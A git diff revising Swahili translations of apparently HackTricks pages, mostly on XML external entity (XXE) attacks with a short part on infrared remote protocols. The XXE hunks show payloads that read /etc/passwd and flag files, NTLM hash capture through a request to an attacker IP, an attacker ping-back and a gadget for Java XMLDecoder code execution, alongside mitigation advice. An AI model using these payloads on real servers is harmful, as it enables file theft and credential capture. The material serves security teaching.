- Mwelekeo wa kigezo cha XML kinachoitwa `local_dtd` unajumuisha faili ya DTD ya nje iliyoko kwenye mfumo wa faili wa seva.
|
||||
- Ufafanuzi mpya unafanyika kwa kigezo cha XML `custom_entity`, ambacho kilifafanuliwa awali katika DTD ya nje, ili kufunika [kuvunjwa kwa XXE kulingana na makosa](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). Ufafanuzi huu mpya umeundwa ili kuleta kosa la uchambuzi, na kufichua maudhui ya faili ya `/etc/passwd`.
|
||||
- Kwa kutumia kigezo cha `local_dtd`, DTD ya nje inahusishwa, ikijumuisha `custom_entity` iliyofafanuliwa upya. Mfululizo huu wa vitendo unasababisha kutolewa kwa ujumbe wa kosa unaokusudiwa na uvunjaji.
|
||||
- Mwelekeo wa kitu cha XML kinachoitwa `local_dtd` unajumuisha faili ya DTD ya nje iliyoko kwenye mfumo wa faili wa seva.
|
||||
- Ufafanuzi mpya unafanyika kwa kitu cha XML `custom_entity`, ambacho kilifafanuliwa awali katika DTD ya nje, ili kufunika [kuvunjwa kwa XXE kulingana na makosa](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). Ufafanuzi huu mpya umeundwa ili kuleta kosa la uchambuzi, na kufichua maudhui ya faili ya `/etc/passwd`.
|
||||
- Kwa kutumia kitu cha `local_dtd`, DTD ya nje inahusishwa, ikijumuisha `custom_entity` iliyofafanuliwa upya. Mfululizo huu wa vitendo unasababisha kutolewa kwa ujumbe wa kosa unaokusudiwa na uvunjaji.
|
||||
|
||||
**Mfano wa ulimwengu halisi:** Mifumo inayotumia mazingira ya desktop ya GNOME mara nyingi huwa na DTD katika `/usr/share/yelp/dtd/docbookx.dtd` inayojumuisha kigezo kinachoitwa `ISOamso`
|
||||
**Mfano wa ulimwengu halisi:** Mifumo inayotumia mazingira ya desktop ya GNOME mara nyingi ina DTD katika `/usr/share/yelp/dtd/docbookx.dtd` inayojumuisha kitu kinachoitwa `ISOamso`
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [
|
||||
@ -188,7 +188,7 @@ Hatua zilizoelezwa zinafanywa na hii DTD:
|
||||
```
|
||||
.png>)
|
||||
|
||||
Kwa kuwa mbinu hii inatumia **DTD ya ndani unahitaji kupata halali kwanza**. Unaweza kufanya hivi **kwa kufunga** ile ile **OS / Software** ambayo seva inatumia na **kutafuta baadhi ya DTD za kawaida**, au **kuchukua orodha** ya **DTD za kawaida** ndani ya mifumo na **kuangalia** kama yoyote kati yao ipo:
|
||||
Kwa kuwa mbinu hii inatumia **DTD ya ndani unahitaji kupata halali kwanza**. Unaweza kufanya hivi kwa **kuyasakinisha** **OS / Software** sawa na ile ambayo seva inatumia na **kutafuta baadhi ya DTD za kawaida**, au **kuchukua orodha** ya **DTD za kawaida** ndani ya mifumo na **kuangalia** kama yoyote kati yao ipo:
|
||||
```xml
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
|
||||
@ -221,13 +221,13 @@ Testing 0 entities : []
|
||||
|
||||
Kwa maelezo ya kina zaidi kuhusu shambulio hili, **angalia sehemu ya pili ya** [**hiki kipande cha ajabu**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **kutoka Detectify**.
|
||||
|
||||
Uwezo wa **kupakia hati za Microsoft Office unapatikana katika programu nyingi za wavuti**, ambazo kisha zinaendelea kutoa maelezo fulani kutoka kwa hati hizi. Kwa mfano, programu ya wavuti inaweza kuruhusu watumiaji kuingiza data kwa kupakia karatasi ya hesabu ya muundo wa XLSX. Ili parser iweze kutoa data kutoka kwa karatasi ya hesabu, itahitaji bila shaka kuchambua angalau faili moja ya XML.
|
||||
Uwezo wa **kupakia hati za Microsoft Office unapatikana katika programu nyingi za wavuti**, ambazo kisha zinaendelea kutoa maelezo fulani kutoka kwa hati hizi. Kwa mfano, programu ya wavuti inaweza kuruhusu watumiaji kuingiza data kwa kupakia karatasi ya hesabu ya muundo wa XLSX. Ili parser iweze kutoa data kutoka kwa karatasi ya hesabu, itahitaji kwa lazima kuchambua angalau faili moja ya XML.
|
||||
|
||||
Ili kujaribu udhaifu huu, ni muhimu kuunda **faili ya Microsoft Office yenye XXE payload**. Hatua ya kwanza ni kuunda directory tupu ambayo hati inaweza kufunguliwa.
|
||||
Ili kujaribu udhaifu huu, ni muhimu kuunda **faili ya Microsoft Office yenye mzigo wa XXE**. Hatua ya kwanza ni kuunda directory tupu ambayo hati inaweza kufunguliwa.
|
||||
|
||||
Mara hati inapofunguliwa, faili ya XML iliyoko katika `./unzipped/word/document.xml` inapaswa kufunguliwa na kuhaririwa katika mhariri wa maandiko unaopendelea (kama vim). XML inapaswa kubadilishwa ili kujumuisha XXE payload inayotakiwa, mara nyingi ikianza na ombi la HTTP.
|
||||
Mara hati inapofunguliwa, faili ya XML iliyoko katika `./unzipped/word/document.xml` inapaswa kufunguliwa na kuhaririwa katika mhariri wa maandiko unaopendelea (kama vim). XML inapaswa kubadilishwa ili kujumuisha mzigo wa XXE unaotakiwa, mara nyingi ikianza na ombi la HTTP.
|
||||
|
||||
Mistari ya XML iliyobadilishwa inapaswa kuingizwa kati ya vitu viwili vya XML vya mzizi. Ni muhimu kubadilisha URL kuwa URL inayoweza kufuatiliwa kwa maombi.
|
||||
Mistari ya XML iliyobadilishwa inapaswa kuingizwa kati ya vitu viwili vya mzizi wa XML. Ni muhimu kubadilisha URL kuwa URL inayoweza kufuatiliwa kwa maombi.
|
||||
|
||||
Hatimaye, faili inaweza kufungiwa ili kuunda faili ya hatari ya poc.docx. Kutoka kwenye directory ya "unzipped" iliyoundwa awali, amri ifuatayo inapaswa kutekelezwa:
|
||||
|
||||
@ -235,7 +235,7 @@ Sasa, faili iliyoundwa inaweza kupakiwa kwenye programu ya wavuti inayoweza kuwa
|
||||
|
||||
### Jar: protokali
|
||||
|
||||
**jar** protokali inapatikana pekee ndani ya **programu za Java**. Imepangwa kuwezesha ufikiaji wa faili ndani ya **PKZIP** archive (mfano, `.zip`, `.jar`, nk), ikihudumia faili za ndani na za mbali.
|
||||
Protokali ya **jar** inapatikana pekee ndani ya **programu za Java**. Imepangwa kuwezesha ufikiaji wa faili ndani ya archive ya **PKZIP** (mfano, `.zip`, `.jar`, nk), ikihudumia faili za ndani na za mbali.
|
||||
```
|
||||
jar:file:///var/myarchive.zip!/file.txt
|
||||
jar:https://download.host.com/myarchive.zip!/file.txt
|
||||
@ -245,8 +245,8 @@ jar:https://download.host.com/myarchive.zip!/file.txt
|
||||
|
||||
Mchakato wa kufikia faili ndani ya archive ya PKZIP kupitia protokali ya jar unajumuisha hatua kadhaa:
|
||||
|
||||
1. Ombi la HTTP linafanywa ili kupakua archive ya zip kutoka mahali fulani, kama `https://download.website.com/archive.zip`.
|
||||
2. Jibu la HTTP linaloelezea archive linahifadhiwa kwa muda kwenye mfumo, kawaida katika eneo kama `/tmp/...`.
|
||||
1. Ombi la HTTP linafanywa kupakua archive ya zip kutoka mahali fulani, kama `https://download.website.com/archive.zip`.
|
||||
2. Jibu la HTTP linaloelezea archive linawekwa kwa muda kwenye mfumo, kawaida katika mahali kama `/tmp/...`.
|
||||
3. Archive hiyo inachukuliwa ili kufikia maudhui yake.
|
||||
4. Faili maalum ndani ya archive, `file.zip`, inasomwa.
|
||||
5. Baada ya operesheni, faili zozote za muda zilizoundwa wakati wa mchakato huu zinafuta.
|
||||
@ -257,7 +257,7 @@ Mbinu ya kuvutia ya kuingilia kati mchakato huu katika hatua ya pili inahusisha
|
||||
<foo>&xxe;</foo>
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Kuandika faili katika saraka ya muda kunaweza kusaidia **kuongeza udhaifu mwingine unaohusisha usafiri wa njia** (kama vile kujumuisha faili za ndani, sindikiza templeti, XSLT RCE, deserialization, nk).
|
||||
> Kuandika faili katika directory ya muda kunaweza kusaidia **kuongeza udhaifu mwingine unaohusisha kupita njia** (kama vile kuingiza faili za ndani, kuingiza templeti, XSLT RCE, deserialization, nk).
|
||||
|
||||
### XSS
|
||||
```xml
|
||||
@ -294,7 +294,7 @@ i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
|
||||
|
||||
#### Kupata NTML
|
||||
|
||||
Katika mwenyeji wa Windows inawezekana kupata hash ya NTML ya mtumiaji wa seva ya wavuti kwa kuweka handler ya responder.py:
|
||||
Katika mwenyeji wa Windows, inawezekana kupata hash ya NTML ya mtumiaji wa seva ya wavuti kwa kuweka handler ya responder.py:
|
||||
```bash
|
||||
Responder.py -I eth0 -v
|
||||
```
|
||||
@ -304,15 +304,15 @@ na kwa kutuma ombi lifuatalo
|
||||
<!DOCTYPE foo [<!ENTITY example SYSTEM 'file://///attackerIp//randomDir/random.jpg'> ]>
|
||||
<data>&example;</data>
|
||||
```
|
||||
Kisha unaweza kujaribu kuvunja hash kwa kutumia hashcat
|
||||
Then you can try to crack the hash using hashcat
|
||||
|
||||
## Uso wa XXE uliofichwa
|
||||
## Hidden XXE Surfaces
|
||||
|
||||
### XInclude
|
||||
|
||||
Wakati wa kuunganisha data za mteja katika hati za XML za upande wa seva, kama zile katika maombi ya SOAP ya nyuma, udhibiti wa moja kwa moja juu ya muundo wa XML mara nyingi ni mdogo, ukikandamiza mashambulizi ya jadi ya XXE kutokana na vizuizi vya kubadilisha kipengele cha `DOCTYPE`. Hata hivyo, shambulio la `XInclude` linatoa suluhisho kwa kuruhusu kuingizwa kwa viumbe vya nje ndani ya kipengele chochote cha data cha hati ya XML. Njia hii ni bora hata wakati sehemu tu ya data ndani ya hati ya XML iliyozalishwa na seva inaweza kudhibitiwa.
|
||||
|
||||
Ili kutekeleza shambulio la `XInclude`, nafasi ya `XInclude` lazima itangazwe, na njia ya faili ya kiumbe cha nje kinachokusudiwa lazima ibainishwe. Hapa chini kuna mfano mfupi wa jinsi shambulio kama hilo linaweza kuundwa:
|
||||
Ili kutekeleza shambulio la `XInclude`, jina la eneo la `XInclude` lazima litangazwe, na njia ya faili ya kiumbe cha nje kinachokusudiwa lazima ibainishwe. Hapa chini kuna mfano mfupi wa jinsi shambulio kama hilo linaweza kuandaliwa:
|
||||
```xml
|
||||
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
|
||||
```
|
||||
@ -320,9 +320,9 @@ Check [https://portswigger.net/web-security/xxe](https://portswigger.net/web-sec
|
||||
|
||||
### SVG - File Upload
|
||||
|
||||
Fail zilizopakiwa na watumiaji kwa programu fulani, ambazo kisha zinashughulikiwa kwenye seva, zinaweza kutumia udhaifu katika jinsi XML au muundo wa faili unaoshikilia XML unavyoshughulikiwa. Muundo wa kawaida wa faili kama hati za ofisi (DOCX) na picha (SVG) unategemea XML.
|
||||
Fail zilizopakiwa na watumiaji kwa programu fulani, ambazo kisha zinashughulikiwa kwenye seva, zinaweza kutumia udhaifu katika jinsi XML au fomati za faili zinazoshikilia XML zinavyoshughulikiwa. Fomati za kawaida za faili kama hati za ofisi (DOCX) na picha (SVG) zinategemea XML.
|
||||
|
||||
Wakati watumiaji **wanapopakia picha**, picha hizi zinashughulikiwa au kuthibitishwa upande wa seva. Hata kwa programu zinazotarajia muundo kama PNG au JPEG, **maktaba ya usindikaji wa picha ya seva inaweza pia kusaidia picha za SVG**. SVG, ikiwa ni muundo unaotegemea XML, inaweza kutumiwa na washambuliaji kuwasilisha picha za SVG zenye uharibifu, hivyo kupelekea seva kuwa hatarini kwa XXE (XML External Entity) vulnerabilities.
|
||||
Wakati watumiaji **wanapopakia picha**, picha hizi zinashughulikiwa au kuthibitishwa upande wa seva. Hata kwa programu zinazotarajia fomati kama PNG au JPEG, **maktaba ya usindikaji wa picha ya seva inaweza pia kusaidia picha za SVG**. SVG, ikiwa ni fomati inayotegemea XML, inaweza kutumiwa na washambuliaji kuwasilisha picha za SVG zenye uharibifu, hivyo kupelekea seva kuwa hatarini kwa udhaifu wa XXE (XML External Entity).
|
||||
|
||||
Mfano wa exploit kama hiyo umeonyeshwa hapa chini, ambapo picha ya SVG yenye uharibifu inajaribu kusoma faili za mfumo:
|
||||
```xml
|
||||
@ -398,7 +398,7 @@ Content-Type: application/xml;charset=UTF-8
|
||||
```
|
||||
Mfano mwingine unaweza kupatikana [hapa](https://medium.com/hmif-itb/googlectf-2019-web-bnv-writeup-nicholas-rianto-putra-medium-b8e2d86d78b2).
|
||||
|
||||
## WAF & Mipango ya Kulinda
|
||||
## WAF & Ulinzi Bypasses
|
||||
|
||||
### Base64
|
||||
```xml
|
||||
@ -514,16 +514,16 @@ Content-Type: application/x-xliff+xml
|
||||
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
|
||||
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
|
||||
```
|
||||
Mbinu hii inaonyesha kwamba User Agent inaonyesha matumizi ya Java 1.8. Kikwazo kilichotajwa na toleo hili la Java ni kutoweza kupata faili zinazojumuisha herufi mpya, kama vile /etc/passwd, kwa kutumia mbinu ya Out of Band.
|
||||
Mbinu hii inaonyesha kwamba User Agent inaonyesha matumizi ya Java 1.8. Kikwazo kilichotajwa na toleo hili la Java ni kutoweza kupata faili zinazojumuisha tabo mpya, kama vile /etc/passwd, kwa kutumia mbinu ya Out of Band.
|
||||
|
||||
Uhamishaji wa Data kwa Msingi wa Hitilafu Ili kushinda kikwazo hiki, mbinu ya Msingi wa Hitilafu inatumika. Faili ya DTD imeundwa kama ifuatavyo ili kuanzisha hitilafu inayojumuisha data kutoka kwa faili lengwa:
|
||||
Uhamasishaji wa Takwimu kwa Msingi wa Hitilafu Ili kushinda kikwazo hiki, mbinu ya Msingi wa Hitilafu inatumika. Faili ya DTD imeundwa kama ifuatavyo ili kuanzisha hitilafu inayojumuisha data kutoka kwa faili lengwa:
|
||||
```xml
|
||||
<!ENTITY % data SYSTEM "file:///etc/passwd">
|
||||
<!ENTITY % foo "<!ENTITY % xxe SYSTEM 'file:///nofile/'>">
|
||||
%foo;
|
||||
%xxe;
|
||||
```
|
||||
Server inajibu kwa kosa, muhimu kuonyesha faili isiyopo, ikionyesha kwamba server inajaribu kufikia faili iliyoainishwa:
|
||||
Server inajibu kwa kosa, kwa umuhimu ikionyesha faili isiyopo, ikionyesha kwamba server inajaribu kufikia faili iliyoainishwa:
|
||||
```javascript
|
||||
{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
|
||||
```
|
||||
@ -542,7 +542,7 @@ XML halali yenye muundo wa RSS ili kutumia udhaifu wa XXE.
|
||||
|
||||
### Ping back
|
||||
|
||||
Omba rahisi la HTTP kwa seva ya washambuliaji.
|
||||
Ombi rahisi la HTTP kwa seva ya washambuliaji
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE title [ <!ELEMENT title ANY >
|
||||
@ -609,7 +609,7 @@ Kutumia kichujio cha PHP base64
|
||||
```
|
||||
## Java XMLDecoder XEE to RCE
|
||||
|
||||
XMLDecoder ni darasa la Java linalounda vitu kulingana na ujumbe wa XML. Ikiwa mtumiaji mbaya anaweza kufanya programu kutumia data isiyo ya kawaida katika wito wa njia **readObject**, atapata mara moja utekelezaji wa msimbo kwenye seva.
|
||||
XMLDecoder ni darasa la Java linalounda vitu kulingana na ujumbe wa XML. Ikiwa mtumiaji mbaya anaweza kufanya programu itumie data isiyo na mpangilio katika wito wa njia **readObject**, atapata mara moja utekelezaji wa msimbo kwenye seva.
|
||||
|
||||
### Using Runtime().exec()
|
||||
```xml
|
||||
@ -684,15 +684,15 @@ https://github.com/luisfontes19/xxexploiter
|
||||
### Python lxml Parameter-Entity XXE (Error-Based File Disclosure)
|
||||
|
||||
> [!INFO]
|
||||
> Maktaba ya Python **lxml** inatumia **libxml2** chini ya uso. Matoleo kabla ya **lxml 5.4.0 / libxml2 2.13.8** bado yanapanua *parameter* entities hata wakati `resolve_entities=False`, na kuwafanya waweze kufikiwa wakati programu inaruhusu `load_dtd=True` na/au `resolve_entities=True`. Hii inaruhusu payloads za Error-Based XXE ambazo zinaingiza maudhui ya faili za ndani katika ujumbe wa kosa la parser.
|
||||
> Maktaba ya Python **lxml** inatumia **libxml2** chini ya uso. Matoleo kabla ya **lxml 5.4.0 / libxml2 2.13.8** bado yanapanua *parameter* entities hata wakati `resolve_entities=False`, na kuwafanya waweze kufikiwa wakati programu inaruhusu `load_dtd=True` na/au `resolve_entities=True`. Hii inaruhusu payloads za XXE zinazotegemea makosa ambazo zinaingiza maudhui ya faili za ndani katika ujumbe wa makosa ya parser.
|
||||
|
||||
#### 1. Kutumia lxml < 5.4.0
|
||||
1. Tambua au tengeneza *local* DTD kwenye diski inayofafanua **undefined** parameter entity (mfano, `%config_hex;`).
|
||||
1. Tambua au tengeneza DTD *ya ndani* kwenye diski inayofafanua **entity** isiyofafanuliwa (mfano, `%config_hex;`).
|
||||
2. Tengeneza DTD ya ndani ambayo:
|
||||
* Inapakia DTD ya ndani kwa `<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">`.
|
||||
* Inarejelea entity isiyofafanuliwa ili:
|
||||
* Inapakia DTD ya ndani na `<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">`.
|
||||
* Inafafanua upya entity isiyofafanuliwa ili:
|
||||
- Isome faili lengwa (`<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">`).
|
||||
- Ijenge parameter entity nyingine inayorejelea **path isiyo sahihi** inayokuwa na thamani ya `%flag;` na kuanzisha kosa la parser (`<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">`).
|
||||
- Ijenge entity nyingine ya parameter inayorejelea **njia isiyo sahihi** yenye thamani ya `%flag;` na kuanzisha makosa ya parser (`<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">`).
|
||||
3. Hatimaye panua `%local_dtd;` na `%eval;` ili parser ikutane na `%error;`, ikishindwa kufungua `/aaa/<FLAG>` na kuvuja bendera ndani ya ubaguzi uliofanywa – ambayo mara nyingi inarudishwa kwa mtumiaji na programu.
|
||||
```xml
|
||||
<!DOCTYPE colors [
|
||||
@ -704,7 +704,7 @@ https://github.com/luisfontes19/xxexploiter
|
||||
%local_dtd;
|
||||
]>
|
||||
```
|
||||
Wakati programu inachapisha hitilafu, jibu linaweza kuwa na:
|
||||
Wakati programu inachapisha hitilafu, jibu linaweza kuwa:
|
||||
```
|
||||
Error : failed to load external entity "file:///aaa/FLAG{secret}"
|
||||
```
|
||||
@ -712,7 +712,7 @@ Error : failed to load external entity "file:///aaa/FLAG{secret}"
|
||||
> Ikiwa parser inalamika kuhusu wahusika `%`/`&` ndani ya sehemu ya ndani, waweke kwa njia mbili (`&#x25;` ⇒ `%`) ili kuchelewesha upanuzi.
|
||||
|
||||
#### 2. Kupita kwenye lxml 5.4.0 kuimarishwa (libxml2 bado ina udhaifu)
|
||||
`lxml` ≥ 5.4.0 inakataza *makosa* ya vigezo kama ile iliyotajwa hapo juu, lakini **libxml2** bado inaruhusu kuingizwa katika *kigezo* cha **jumla**. Njia ni:
|
||||
`lxml` ≥ 5.4.0 inakataza *makosa* ya vigezo kama ile iliyotajwa hapo juu, lakini **libxml2** bado inaruhusu kuingizwa katika *kigezo* cha *jumla*. Njia ni:
|
||||
1. Soma faili ndani ya kigezo `%file`.
|
||||
2. Tangaza kigezo kingine ambacho kinajenga kigezo **jumla** `c` ambacho kitambulisho cha SYSTEM kinatumia *protokali isiyo na uwepo* kama `meow://%file;`.
|
||||
3. Weka `&c;` katika mwili wa XML. Wakati parser inajaribu kutafsiri `meow://…` inashindwa na inarejelea URI kamili – ikiwa ni pamoja na maudhui ya faili – katika ujumbe wa kosa.
|
||||
@ -728,17 +728,17 @@ Error : failed to load external entity "file:///aaa/FLAG{secret}"
|
||||
```
|
||||
#### Key takeaways
|
||||
* **Parameter entities** bado zinapanuliwa na libxml2 hata wakati `resolve_entities` inapaswa kuzuia XXE.
|
||||
* **URI isiyo sahihi** au **faili isiyopo** inatosha kuunganisha data iliyodhibitiwa katika ubaguzi uliofanywa.
|
||||
* **URI isiyo sahihi** au **faili isiyopo** inatosha kuunganisha data iliyodhibitiwa katika kosa lililotupwa.
|
||||
* Mbinu hii inafanya kazi **bila muunganisho wa nje**, na kuifanya kuwa bora kwa mazingira yaliyofungwa kwa uhamisho.
|
||||
|
||||
#### Mitigation guidance
|
||||
* Pandisha hadi **lxml ≥ 5.4.0** na hakikisha **libxml2** ya msingi ni **≥ 2.13.8**.
|
||||
* Zima `load_dtd` na/au `resolve_entities` isipokuwa inahitajika kabisa.
|
||||
* Epuka kurudisha makosa ya parser yasiyo na kuchakatwa kwa mteja.
|
||||
* Epuka kurudisha makosa ya parser yasiyo na mabadiliko kwa mteja.
|
||||
|
||||
### Java DocumentBuilderFactory hardening example
|
||||
|
||||
Programu za Java mara nyingi huchambua XML kwa kutumia `DocumentBuilderFactory`. Kwa kawaida kiwanda **kinaruhusu ufumbuzi wa vitu vya nje**, na kuifanya kuwa hatarini kwa XXE na SSRF ikiwa hakuna bendera za ziada za kuimarisha zilizowekwa:
|
||||
Programu za Java mara nyingi hupitia XML kwa kutumia `DocumentBuilderFactory`. Kwa kawaida kiwanda **kinaruhusu ufumbuzi wa vitu vya nje**, na kuifanya kuwa hatarini kwa XXE na SSRF ikiwa hakuna bendera za ziada za kuimarisha zilizowekwa:
|
||||
```java
|
||||
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
|
||||
DocumentBuilder builder = dbf.newDocumentBuilder(); // XXE-prone
|
||||
@ -763,9 +763,9 @@ dbf.setExpandEntityReferences(false);
|
||||
|
||||
DocumentBuilder builder = dbf.newDocumentBuilder();
|
||||
```
|
||||
Ikiwa programu inapaswa kusaidia DTDs ndani, weka `disallow-doctype-decl` ikiwa imezimwa lakini **daima** acha vipengele viwili vya `external-*-entities` vikiwa vimewekwa kwenye `false`. Mchanganyiko huu unazuia payloads za kawaida za ufichuzi wa faili (`file:///etc/passwd`) pamoja na vectors za SSRF zinazotegemea mtandao (`http://169.254.169.254/…`, protokali ya `jar:`, nk.).
|
||||
Ikiwa programu inapaswa kusaidia DTDs ndani, weka `disallow-doctype-decl` ikiwa imezimwa lakini **daima** acha vipengele viwili `external-*-entities` vikiwa vimewekwa kwenye `false`. Mchanganyiko huu unazuia payloads za kawaida za ufichuzi wa faili (`file:///etc/passwd`) pamoja na vectors za SSRF zinazotegemea mtandao (`http://169.254.169.254/…`, protokali ya `jar:`, nk.).
|
||||
|
||||
Utafiti wa kesi halisi: **CVE-2025-27136** katika emulator ya Java S3 *LocalS3* ilitumia mjenzi dhaifu ulioonyeshwa hapo juu. Mshambuliaji asiye na uthibitisho angeweza kutoa mwili wa XML ulioandaliwa kwa ajili ya kiunganishi cha `CreateBucketConfiguration` na kufanya seva kuingiza faili za ndani (kwa mfano `/etc/passwd`) katika jibu la HTTP.
|
||||
Utafiti wa kesi halisi: **CVE-2025-27136** katika emulators ya Java S3 *LocalS3* ilitumia mjenzi dhaifu ulioonyeshwa hapo juu. Mshambuliaji asiye na uthibitisho angeweza kutoa mwili wa XML ulioandaliwa kwa ajili ya kiunganishi cha `CreateBucketConfiguration` na kufanya seva kuingiza faili za ndani (kwa mfano `/etc/passwd`) katika jibu la HTTP.
|
||||
|
||||
## References
|
||||
|
||||
|
@ -39,21 +39,21 @@ Inajulikana pia kama uandishi wa Manchester. Thamani ya mantiki inafafanuliwa na
|
||||
**4. Combination of previous ones and other exotics**
|
||||
|
||||
> [!TIP]
|
||||
> Kuna protokali za IR ambazo **zinajaribu kuwa za ulimwengu mzima** kwa aina kadhaa za vifaa. Zile maarufu ni RC5 na NEC. Kwa bahati mbaya, maarufu **haimaanishi kuwa za kawaida**. Katika mazingira yangu, nilikutana na remote mbili za NEC na hakuna RC5.
|
||||
> Kuna protokali za IR ambazo **zinajaribu kuwa za ulimwengu mzima** kwa aina kadhaa za vifaa. Zile maarufu ni RC5 na NEC. Kwa bahati mbaya, maarufu **haimaanishi ya kawaida**. Katika mazingira yangu, nilikutana na remote mbili za NEC na hakuna RC5.
|
||||
>
|
||||
> Watengenezaji wanapenda kutumia protokali zao za IR za kipekee, hata ndani ya safu moja ya vifaa (kwa mfano, TV-boxes). Hivyo basi, remotes kutoka kampuni tofauti na wakati mwingine kutoka mifano tofauti kutoka kampuni moja, hazina uwezo wa kufanya kazi na vifaa vingine vya aina hiyo.
|
||||
|
||||
### Exploring an IR signal
|
||||
|
||||
Njia ya kuaminika zaidi kuona jinsi ishara ya IR ya remote inavyoonekana ni kutumia oscilloscope. Hii haidondoshi au kugeuza ishara iliyopokelewa, inajitokeza "kama ilivyo". Hii ni muhimu kwa ajili ya kupima na kutatua matatizo. Nitaonyesha ishara inayotarajiwa kwa mfano wa protokali ya NEC IR.
|
||||
Njia ya kuaminika zaidi kuona jinsi ishara ya IR ya remote inavyoonekana ni kutumia oscilloscope. Hii haidhauri au kubadilisha ishara iliyopokelewa, inajitokeza "kama ilivyo". Hii ni muhimu kwa ajili ya kupima na kutatua matatizo. Nitaonyesha ishara inayotarajiwa kwa mfano wa protokali ya NEC IR.
|
||||
|
||||
<figure><img src="../../images/image (235).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Kawaida, kuna preamble mwanzoni mwa pakiti iliyowekwa. Hii inaruhusu mpokeaji kubaini kiwango cha gain na mandharinyuma. Pia kuna protokali bila preamble, kwa mfano, Sharp.
|
||||
|
||||
Kisha data inatumwa. Muundo, preamble, na njia ya uandishi wa bit zinatolewa na protokali maalum.
|
||||
Kisha data inatumwa. Muundo, preamble, na njia ya uandishi wa bit zinatambuliwa na protokali maalum.
|
||||
|
||||
**Protokali ya NEC IR** ina amri fupi na nambari ya kurudia, ambayo inatumwa wakati kifungo kinaposhinikizwa. Zote amri na nambari ya kurudia zina preamble sawa mwanzoni.
|
||||
**Protokali ya NEC IR** ina amri fupi na nambari ya kurudia, ambayo inatumwa wakati kifungo kinaposhinikizwa. Zote, amri na nambari ya kurudia zina preamble sawa mwanzoni.
|
||||
|
||||
**Amri ya NEC**, mbali na preamble, inajumuisha byte ya anwani na byte ya nambari ya amri, ambayo kifaa kinaelewa kinachohitajika kutekelezwa. Byte za anwani na nambari ya amri zinajirudia kwa thamani za kinyume, ili kuangalia uadilifu wa uhamasishaji. Kuna bit ya kusitisha ya ziada mwishoni mwa amri.
|
||||
|
||||
@ -63,8 +63,8 @@ Kwa **mantiki "0" na "1"** NEC inatumia Pulse Distance Encoding: kwanza, mlipuko
|
||||
|
||||
### Air Conditioners
|
||||
|
||||
Tofauti na remotes nyingine, **viyoyozi havitumii tu nambari ya kifungo kilichoshinikizwa**. Pia **hutoa taarifa zote** wakati kifungo kinaposhinikizwa ili kuhakikisha kuwa **kifaa cha viyoyozi na remote vinashirikiana**.\
|
||||
Hii itazuia kwamba mashine iliyowekwa kama 20ºC inakuwa 21ºC kwa remote moja, na kisha wakati remote nyingine, ambayo bado ina joto kama 20ºC, inatumika kuongeza joto zaidi, itakuwa "inaongeza" hadi 21ºC (na si 22ºC ikidhani iko katika 21ºC).
|
||||
Tofauti na remotes nyingine, **viyoyozi havitumii tu nambari ya kifungo kilichoshinikizwa**. Pia **hutoa taarifa zote** wakati kifungo kinaposhinikizwa ili kuhakikisha kwamba **kifaa cha viyoyozi na remote vinapatana**.\
|
||||
Hii itazuia kwamba mashine iliyowekwa kama 20ºC inakuwa 21ºC kwa remote moja, na kisha wakati remote nyingine, ambayo bado ina joto kama 20ºC, inatumika kuongeza zaidi joto, itakuwa "inaongeza" hadi 21ºC (na si 22ºC ikidhani iko katika 21ºC).
|
||||
|
||||
---
|
||||
|
||||
@ -78,11 +78,11 @@ flipper-zero/fz-infrared.md
|
||||
|
||||
### Smart-TV / Set-top Box Takeover (EvilScreen)
|
||||
|
||||
Kazi za hivi karibuni za kitaaluma (EvilScreen, 2022) zilionyesha kuwa **remotes za multi-channel zinazochanganya Infrared na Bluetooth au Wi-Fi zinaweza kutumika vibaya ili kuchukua udhibiti wa smart-TVs za kisasa**. Shambulio linaunganisha nambari za huduma za IR zenye haki za juu pamoja na pakiti za Bluetooth zilizothibitishwa, zikiepuka kutengwa kwa channel na kuruhusu uzinduzi wa programu zisizo na mipaka, uanzishaji wa kipaza sauti, au kurejesha kiwanda bila ufikiaji wa kimwili. Televisheni nane maarufu kutoka wauzaji tofauti — ikiwemo mfano wa Samsung unaodai kufuata ISO/IEC 27001 — zilithibitishwa kuwa na udhaifu. Kupunguza hatari kunahitaji marekebisho ya firmware kutoka kwa wauzaji au kuzima kabisa mpokeaji wa IR usiotumika.
|
||||
Kazi za hivi karibuni za kitaaluma (EvilScreen, 2022) zilionyesha kwamba **remotes za multi-channel zinazochanganya Infrared na Bluetooth au Wi-Fi zinaweza kutumika vibaya ili kuchukua udhibiti wa smart-TVs za kisasa**. Shambulio linaunganisha nambari za huduma za IR zenye haki za juu pamoja na pakiti za Bluetooth zilizothibitishwa, zikiepuka kutengwa kwa channel na kuruhusu uzinduzi wa programu zisizo na mipaka, uanzishaji wa kipaza sauti, au kurejesha kiwanda bila ufikiaji wa kimwili. Televisheni nane maarufu kutoka kwa wauzaji tofauti — ikiwemo mfano wa Samsung unaodai kufuata ISO/IEC 27001 — zilithibitishwa kuwa na udhaifu. Kupunguza hatari kunahitaji marekebisho ya firmware kutoka kwa wauzaji au kuzima kabisa wapokeaji wa IR wasiotumika.
|
||||
|
||||
### Air-Gapped Data Exfiltration via IR LEDs (aIR-Jumper family)
|
||||
|
||||
